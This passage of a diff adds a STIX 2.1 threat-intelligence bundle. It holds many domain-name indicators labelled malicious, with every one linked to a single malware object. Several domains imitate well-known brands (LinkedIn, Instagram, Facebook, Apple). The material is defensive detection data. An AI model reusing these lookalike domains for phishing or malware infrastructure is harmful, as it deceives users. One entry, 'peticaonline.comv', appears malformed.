"2026-02-17T19:39:51.885992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9dc3c3b-1a12-45ad-8b43-1516270cb577", + "created": "2026-02-17T19:39:51.886301Z", + "modified": "2026-02-17T19:39:51.886301Z", + "relationship_type": "indicates", + "source_ref": "indicator--c44b931b-d2c8-41a1-9d97-62d0a6a8b03b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59bbc238-4bd6-415b-9159-4eb7c3ec8c8e", + "created": "2026-02-17T19:39:51.886375Z", + "modified": "2026-02-17T19:39:51.886375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updatetime.zone']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.886375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b66eea7-c66c-4b10-8381-12bcd62c5afb", + "created": "2026-02-17T19:39:51.88667Z", + "modified": "2026-02-17T19:39:51.88667Z", + "relationship_type": "indicates", + "source_ref": "indicator--59bbc238-4bd6-415b-9159-4eb7c3ec8c8e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8144d78-e8fd-4995-9934-902669392c31", + "created": "2026-02-17T19:39:51.886743Z", + "modified": "2026-02-17T19:39:51.886743Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='api-telecommunication.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.886743Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f0666f8-72f4-4854-8592-d895b571e46d", + "created": "2026-02-17T19:39:51.887042Z", + "modified": "2026-02-17T19:39:51.887042Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8144d78-e8fd-4995-9934-902669392c31", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3518963b-20e5-4a87-bfd8-2433ff017d1c", + "created": "2026-02-17T19:39:51.887116Z", + "modified": "2026-02-17T19:39:51.887116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redirto.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.887116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a59cb03c-6286-4eaa-a7b4-f08e5e0010a8", + "created": "2026-02-17T19:39:51.887408Z", + "modified": "2026-02-17T19:39:51.887408Z", + "relationship_type": "indicates", + "source_ref": "indicator--3518963b-20e5-4a87-bfd8-2433ff017d1c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7af22571-1765-4ce7-a1f2-c98bc713d20c", + "created": "2026-02-17T19:39:51.887481Z", + "modified": "2026-02-17T19:39:51.887481Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updete.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.887481Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85dadca8-9498-45d7-a512-955e7b2a1bb4", + "created": "2026-02-17T19:39:51.887769Z", + "modified": "2026-02-17T19:39:51.887769Z", + "relationship_type": "indicates", + "source_ref": "indicator--7af22571-1765-4ce7-a1f2-c98bc713d20c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84bf15d5-ac20-49d4-a95c-1399b8498c4a", + "created": "2026-02-17T19:39:51.887842Z", + "modified": "2026-02-17T19:39:51.887842Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='t-ready.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.887842Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6db25086-0d68-4a1c-8f83-f1811f7b8dd6", + "created": "2026-02-17T19:39:51.888131Z", + "modified": "2026-02-17T19:39:51.888131Z", + "relationship_type": "indicates", + "source_ref": "indicator--84bf15d5-ac20-49d4-a95c-1399b8498c4a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e8b912c-2b9c-4255-98bf-95a35c625ce4", + "created": "2026-02-17T19:39:51.888205Z", + "modified": "2026-02-17T19:39:51.888205Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='niceonase.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.888205Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2627419d-4e68-4c1d-b6b7-4887d55f8ed7", + "created": "2026-02-17T19:39:51.8885Z", + "modified": "2026-02-17T19:39:51.8885Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e8b912c-2b9c-4255-98bf-95a35c625ce4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c807738-0f8d-492f-86ab-91f0d74e19c7", + "created": "2026-02-17T19:39:51.888573Z", + "modified": "2026-02-17T19:39:51.888573Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flytaps.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.888573Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65e00a38-7f25-47a3-a66a-801b93e3fddc", + "created": "2026-02-17T19:39:51.888933Z", + "modified": "2026-02-17T19:39:51.888933Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c807738-0f8d-492f-86ab-91f0d74e19c7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--511f3643-199a-45bf-a8a3-39efddb0cb4b", + "created": "2026-02-17T19:39:51.889014Z", + "modified": "2026-02-17T19:39:51.889014Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jumia-egy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.889014Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--09750d1b-8011-4193-bbc7-551bcf122c05", + "created": "2026-02-17T19:39:51.889324Z", + "modified": "2026-02-17T19:39:51.889324Z", + "relationship_type": "indicates", + "source_ref": "indicator--511f3643-199a-45bf-a8a3-39efddb0cb4b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a196d22-0fe4-45f6-828d-bafb90ffdaae", + "created": "2026-02-17T19:39:51.889401Z", + "modified": "2026-02-17T19:39:51.889401Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlinewebinarmarketing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.889401Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34ed75de-78b8-4297-9a79-dc2d1d06691d", + "created": "2026-02-17T19:39:51.889702Z", + "modified": "2026-02-17T19:39:51.889702Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a196d22-0fe4-45f6-828d-bafb90ffdaae", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a47e90e-c32a-4b27-8de5-09519c363863", + "created": "2026-02-17T19:39:51.889775Z", + "modified": "2026-02-17T19:39:51.889775Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='peticaonline.comv']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.889775Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8daa3c43-f25d-47a6-b7ac-d569ed1daae9", + "created": "2026-02-17T19:39:51.890069Z", + "modified": "2026-02-17T19:39:51.890069Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a47e90e-c32a-4b27-8de5-09519c363863", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b89cb7a3-951d-4af1-a4f4-5178f02d6132", + "created": "2026-02-17T19:39:51.890142Z", + "modified": "2026-02-17T19:39:51.890142Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='myfcbk.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.890142Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52c64d7b-00ab-42a6-bc46-7110a594d11a", + "created": "2026-02-17T19:39:51.890431Z", + "modified": "2026-02-17T19:39:51.890431Z", + "relationship_type": "indicates", + "source_ref": "indicator--b89cb7a3-951d-4af1-a4f4-5178f02d6132", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--745460f8-5bda-4a5c-96a0-fdc6ec26fbf3", + "created": "2026-02-17T19:39:51.890503Z", + "modified": "2026-02-17T19:39:51.890503Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gosokm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.890503Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a65735b-d9aa-4082-b228-3ac3461f4f08", + "created": "2026-02-17T19:39:51.890796Z", + "modified": "2026-02-17T19:39:51.890796Z", + "relationship_type": "indicates", + "source_ref": "indicator--745460f8-5bda-4a5c-96a0-fdc6ec26fbf3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cda5f51e-844d-4bc4-812b-334f42ffe02a", + "created": "2026-02-17T19:39:51.890871Z", + "modified": "2026-02-17T19:39:51.890871Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eagerfox.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.890871Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2cc98433-aa3a-4224-aec7-104e4aaebeb8", + "created": "2026-02-17T19:39:51.891161Z", + "modified": "2026-02-17T19:39:51.891161Z", + "relationship_type": "indicates", + "source_ref": "indicator--cda5f51e-844d-4bc4-812b-334f42ffe02a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9fb2d524-f2ee-4e24-b24a-824b0d03b2a6", + "created": "2026-02-17T19:39:51.891235Z", + "modified": "2026-02-17T19:39:51.891235Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lnkedin.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.891235Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--68174546-d088-4736-99a6-1d2218790f6f", + "created": "2026-02-17T19:39:51.891528Z", + "modified": "2026-02-17T19:39:51.891528Z", + "relationship_type": "indicates", + "source_ref": "indicator--9fb2d524-f2ee-4e24-b24a-824b0d03b2a6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1ace4dbc-1943-4ad8-91bf-3bab614544db", + "created": "2026-02-17T19:39:51.891603Z", + "modified": "2026-02-17T19:39:51.891603Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fisherman.engine.ninja']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.891603Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3c6eb84-9e46-4602-a0b7-930599bf138c", + "created": "2026-02-17T19:39:51.891902Z", + "modified": "2026-02-17T19:39:51.891902Z", + "relationship_type": "indicates", + "source_ref": "indicator--1ace4dbc-1943-4ad8-91bf-3bab614544db", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec30540c-a611-4d11-a4c6-7ff9f3356230", + "created": "2026-02-17T19:39:51.891976Z", + "modified": "2026-02-17T19:39:51.891976Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortly.work']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.891976Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0305319-dd1e-4138-8135-15f46893d26f", + "created": "2026-02-17T19:39:51.892331Z", + "modified": "2026-02-17T19:39:51.892331Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec30540c-a611-4d11-a4c6-7ff9f3356230", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0413adc6-100e-4672-b11c-b956a8c3dcde", + "created": "2026-02-17T19:39:51.892407Z", + "modified": "2026-02-17T19:39:51.892407Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koenigseggg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.892407Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df50b069-0f0a-46d5-95e0-7b6303973b97", + "created": "2026-02-17T19:39:51.892704Z", + "modified": "2026-02-17T19:39:51.892704Z", + "relationship_type": "indicates", + "source_ref": "indicator--0413adc6-100e-4672-b11c-b956a8c3dcde", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b965ea4-ae17-4719-9e83-aea349b10842", + "created": "2026-02-17T19:39:51.892779Z", + "modified": "2026-02-17T19:39:51.892779Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='syncupdate.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.892779Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9270f98-5b0c-46f2-b58c-5fbaf8eeaa67", + "created": "2026-02-17T19:39:51.893073Z", + "modified": "2026-02-17T19:39:51.893073Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b965ea4-ae17-4719-9e83-aea349b10842", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23f9baf4-766e-4c68-8780-820991de5b26", + "created": "2026-02-17T19:39:51.893148Z", + "modified": "2026-02-17T19:39:51.893148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtubesyncapi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.893148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf7bdb30-6aee-4295-a0b3-6a043bf7f6ff", + "created": "2026-02-17T19:39:51.893448Z", + "modified": "2026-02-17T19:39:51.893448Z", + "relationship_type": "indicates", + "source_ref": "indicator--23f9baf4-766e-4c68-8780-820991de5b26", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--73679ce1-88ac-46ea-8c22-1bc38d6fced2", + "created": "2026-02-17T19:39:51.893521Z", + "modified": "2026-02-17T19:39:51.893521Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ps2link.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.893521Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--19f80950-b2f9-4bc6-8975-8966ca482907", + "created": "2026-02-17T19:39:51.893809Z", + "modified": "2026-02-17T19:39:51.893809Z", + "relationship_type": "indicates", + "source_ref": "indicator--73679ce1-88ac-46ea-8c22-1bc38d6fced2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01eaf9a8-f37b-4ed1-a903-c4db01725b17", + "created": "2026-02-17T19:39:51.893882Z", + "modified": "2026-02-17T19:39:51.893882Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hopnope.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.893882Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f563b7a6-33e1-41a0-a2d5-0fee802907dc", + "created": "2026-02-17T19:39:51.894169Z", + "modified": "2026-02-17T19:39:51.894169Z", + "relationship_type": "indicates", + "source_ref": "indicator--01eaf9a8-f37b-4ed1-a903-c4db01725b17", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d2fff7d-276c-4947-8d18-2cb890f49a15", + "created": "2026-02-17T19:39:51.894242Z", + "modified": "2026-02-17T19:39:51.894242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ztb-news.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.894242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dad58fce-6780-46bc-84bd-7eb554565327", + "created": "2026-02-17T19:39:51.894531Z", + "modified": "2026-02-17T19:39:51.894531Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d2fff7d-276c-4947-8d18-2cb890f49a15", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d0a82795-d860-4155-9570-9fe7b55f9c44", + "created": "2026-02-17T19:39:51.894604Z", + "modified": "2026-02-17T19:39:51.894604Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dw-news.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.894604Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c342fba-0433-4a84-95c1-cf8cc17c5d90", + "created": "2026-02-17T19:39:51.894891Z", + "modified": "2026-02-17T19:39:51.894891Z", + "relationship_type": "indicates", + "source_ref": "indicator--d0a82795-d860-4155-9570-9fe7b55f9c44", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d209258c-9e8e-463a-bbfc-11ea068ae21d", + "created": "2026-02-17T19:39:51.894964Z", + "modified": "2026-02-17T19:39:51.894964Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wavekli.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.894964Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0d833a9-feea-4fd1-b229-fa35f4d52978", + "created": "2026-02-17T19:39:51.895254Z", + "modified": "2026-02-17T19:39:51.895254Z", + "relationship_type": "indicates", + "source_ref": "indicator--d209258c-9e8e-463a-bbfc-11ea068ae21d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d9b96f6d-c631-4a06-b729-633674a625c2", + "created": "2026-02-17T19:39:51.895329Z", + "modified": "2026-02-17T19:39:51.895329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gostosadeluxo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.895329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a38e6d7-a10b-48b9-be35-21570731d141", + "created": "2026-02-17T19:39:51.895687Z", + "modified": "2026-02-17T19:39:51.895687Z", + "relationship_type": "indicates", + "source_ref": "indicator--d9b96f6d-c631-4a06-b729-633674a625c2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9af5b2da-7286-4e1d-b342-72954b9069a1", + "created": "2026-02-17T19:39:51.895762Z", + "modified": "2026-02-17T19:39:51.895762Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vestinfo.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.895762Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a15e9c1-28f2-463f-b3ca-f4fbf36a7ca5", + "created": "2026-02-17T19:39:51.896056Z", + "modified": "2026-02-17T19:39:51.896056Z", + "relationship_type": "indicates", + "source_ref": "indicator--9af5b2da-7286-4e1d-b342-72954b9069a1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0565d0c5-aa72-41cd-956f-d1e2d17ab411", + "created": "2026-02-17T19:39:51.89613Z", + "modified": "2026-02-17T19:39:51.89613Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='infosms-a.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.89613Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1512ef7e-7b06-4097-9eed-e40d2d97da41", + "created": "2026-02-17T19:39:51.89642Z", + "modified": "2026-02-17T19:39:51.89642Z", + "relationship_type": "indicates", + "source_ref": "indicator--0565d0c5-aa72-41cd-956f-d1e2d17ab411", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03226506-fffb-4762-a335-26a2b858e215", + "created": "2026-02-17T19:39:51.896494Z", + "modified": "2026-02-17T19:39:51.896494Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nemshi-news.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.896494Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a8faf3a2-829f-48c4-a37d-3ae40897e6cf", + "created": "2026-02-17T19:39:51.896789Z", + "modified": "2026-02-17T19:39:51.896789Z", + "relationship_type": "indicates", + "source_ref": "indicator--03226506-fffb-4762-a335-26a2b858e215", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22a1ae19-fad0-4860-8bc2-1a1ee3f9d7ca", + "created": "2026-02-17T19:39:51.896863Z", + "modified": "2026-02-17T19:39:51.896863Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zougla.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.896863Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dba1093-6595-4756-b2d2-d3e4d9eea8f6", + "created": "2026-02-17T19:39:51.897153Z", + "modified": "2026-02-17T19:39:51.897153Z", + "relationship_type": "indicates", + "source_ref": "indicator--22a1ae19-fad0-4860-8bc2-1a1ee3f9d7ca", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dcde63b2-a957-492a-be21-62aa4a318593", + "created": "2026-02-17T19:39:51.897226Z", + "modified": "2026-02-17T19:39:51.897226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smallme.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.897226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e6c6585-6d8a-4dd4-87e7-dbb0eb343891", + "created": "2026-02-17T19:39:51.897531Z", + "modified": "2026-02-17T19:39:51.897531Z", + "relationship_type": "indicates", + "source_ref": "indicator--dcde63b2-a957-492a-be21-62aa4a318593", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35654840-c8b7-4b2b-9aee-4994af36397c", + "created": "2026-02-17T19:39:51.897605Z", + "modified": "2026-02-17T19:39:51.897605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-li.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.897605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8ea68aaf-3cad-40cc-98a9-472a7224a3ae", + "created": "2026-02-17T19:39:51.897894Z", + "modified": "2026-02-17T19:39:51.897894Z", + "relationship_type": "indicates", + "source_ref": "indicator--35654840-c8b7-4b2b-9aee-4994af36397c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cda9fcad-411b-48da-85e5-bab58f7e9555", + "created": "2026-02-17T19:39:51.897966Z", + "modified": "2026-02-17T19:39:51.897966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='highclub.life']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.897966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b32500d7-ba37-4cda-86dd-9dd8a50ee133", + "created": "2026-02-17T19:39:51.898258Z", + "modified": "2026-02-17T19:39:51.898258Z", + "relationship_type": "indicates", + "source_ref": "indicator--cda9fcad-411b-48da-85e5-bab58f7e9555", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4abc6eeb-6db1-494f-a0b0-42ded516a74b", + "created": "2026-02-17T19:39:51.898336Z", + "modified": "2026-02-17T19:39:51.898336Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snapfire.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.898336Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4ad4a1a-43eb-4a00-b826-1c09e75ea845", + "created": "2026-02-17T19:39:51.898628Z", + "modified": "2026-02-17T19:39:51.898628Z", + "relationship_type": "indicates", + "source_ref": "indicator--4abc6eeb-6db1-494f-a0b0-42ded516a74b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2d1538ee-6cd1-44f6-a0f7-ce6669ce1d9d", + "created": "2026-02-17T19:39:51.898701Z", + "modified": "2026-02-17T19:39:51.898701Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sec-flare.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.898701Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8dafe9fe-6bb3-4abc-9b03-8e7b96746ff6", + "created": "2026-02-17T19:39:51.899054Z", + "modified": "2026-02-17T19:39:51.899054Z", + "relationship_type": "indicates", + "source_ref": "indicator--2d1538ee-6cd1-44f6-a0f7-ce6669ce1d9d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a192c58-1f38-4446-b3c3-62051130e3d7", + "created": "2026-02-17T19:39:51.899128Z", + "modified": "2026-02-17T19:39:51.899128Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='webaffise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.899128Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1abb913f-713a-47e3-88f9-f0d86098960d", + "created": "2026-02-17T19:39:51.899419Z", + "modified": "2026-02-17T19:39:51.899419Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a192c58-1f38-4446-b3c3-62051130e3d7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c54015d-8216-4e44-96bd-ab15835de813", + "created": "2026-02-17T19:39:51.899493Z", + "modified": "2026-02-17T19:39:51.899493Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='api-apple-buy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.899493Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--077fabf0-7fdc-4413-aad8-f781eb097f08", + "created": "2026-02-17T19:39:51.899785Z", + "modified": "2026-02-17T19:39:51.899785Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c54015d-8216-4e44-96bd-ab15835de813", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--668290db-7627-4e1b-947c-d68a8e63c5ef", + "created": "2026-02-17T19:39:51.899859Z", + "modified": "2026-02-17T19:39:51.899859Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instagam.photos']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.899859Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c44c78f7-5f50-4fcd-8224-a8e29aa6e2db", + "created": "2026-02-17T19:39:51.900149Z", + "modified": "2026-02-17T19:39:51.900149Z", 